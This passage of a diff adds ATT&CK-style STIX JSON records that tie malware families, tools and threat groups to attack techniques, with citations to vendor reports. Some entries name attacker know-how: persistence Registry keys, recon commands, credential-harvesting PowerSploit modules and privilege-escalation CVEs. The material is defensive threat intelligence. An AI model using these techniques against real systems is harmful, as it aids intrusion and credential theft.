"relationship--efbe5efa-6863-4334-90e5-d7caab9806a6", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) base64 encodes strings that are sent to the C2 over its DNS tunnel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83ac6dba-c74f-4a9e-aba3-3581a67588bf", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. It also collects the system's MAC address with getmac and domain configuration with net config workstation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cfa38151-4972-4355-8071-dd36cb1be880", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Gazer](https://attack.mitre.org/software/S0168) obtains the current user's security identifier.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "The [Carbanak](https://attack.mitre.org/software/S0030) malware communicates to its command server using HTTP with an encrypted payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--210f5206-8763-48ac-a4c3-a08440892b5d", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--32e93dd8-d0df-40d8-b85f-e10e70fc0b8f", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3872901c-9601-413e-bf8a-e2fe35772c71", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can record the sounds from microphones on a computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--be12c965-ec79-4871-94de-c8421436c30c", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs tasklist to obtain running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9701df31-e2f4-487b-a204-26c4347ef32d", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d4f48744-0564-4ef3-bdae-421076912495", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) establishes persistence under the Registry key HKCU\\Software\\Run auto_update.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e73d4586-569d-4f32-9468-95777d65770a", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--df6c39fa-9d95-45ee-911b-0ca2fc167086", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has several modules that search the Windows Registry for stored credentials: Get-UnattendedInstallFile, Get-Webconfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword, and Get-RegistryAutoLogon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--216b3711-fc70-4029-aaec-a8f021c38bef", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1993ee53-26a0-4cd1-8a93-5fd578c941fc", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--62eee3f5-f7ab-4029-a690-635452f1def7", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "The PowerShell script with the [RogueRobin](https://attack.mitre.org/software/S0270) payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--80bdb12e-5bf8-4f3c-aaba-185f31a7ad0a", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "GitHub Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Mivast](https://attack.mitre.org/software/S0080) creates the following Registry entry: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather a process list from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1fbd687c-3e02-43b8-a160-4319a7d754ac", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to execute shell commands on the infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628", + "source_ref": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.", + "source_name": "Softpedia MinerC", + "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e0999d7e-deec-446b-a86b-4c8988e20a96", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts strings in the backdoor using a custom XOR algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--43908728-be5a-4bdf-a13e-8d373c1fc4fd", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.712Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[HDoor](https://attack.mitre.org/software/S0061) scans to identify open ports on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964", + "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "modified": "2019-04-25T02:33:53.494Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can adjust token privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d68ff9e8-0766-49ea-8ddc-4308347c5bac", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": 